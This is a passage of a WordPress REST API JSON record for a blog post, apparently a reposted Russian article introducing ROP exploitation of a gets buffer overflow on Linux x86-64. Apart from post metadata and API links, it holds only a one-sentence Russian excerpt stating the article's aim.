\u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044f\u043c\u0438 Linux \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b x86-64 (\u0432\u0441\u0435 \u043d\u0438\u0436\u0435\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b \u0431\u044b\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u044b \u043d\u0430 Ubuntu 14.04). \u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0431\u0443\u0434\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 gets \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e ROP (Return oriented programming).  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-255011","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/255011","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=255011"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/255011\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=255011"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=255011"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=255011"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}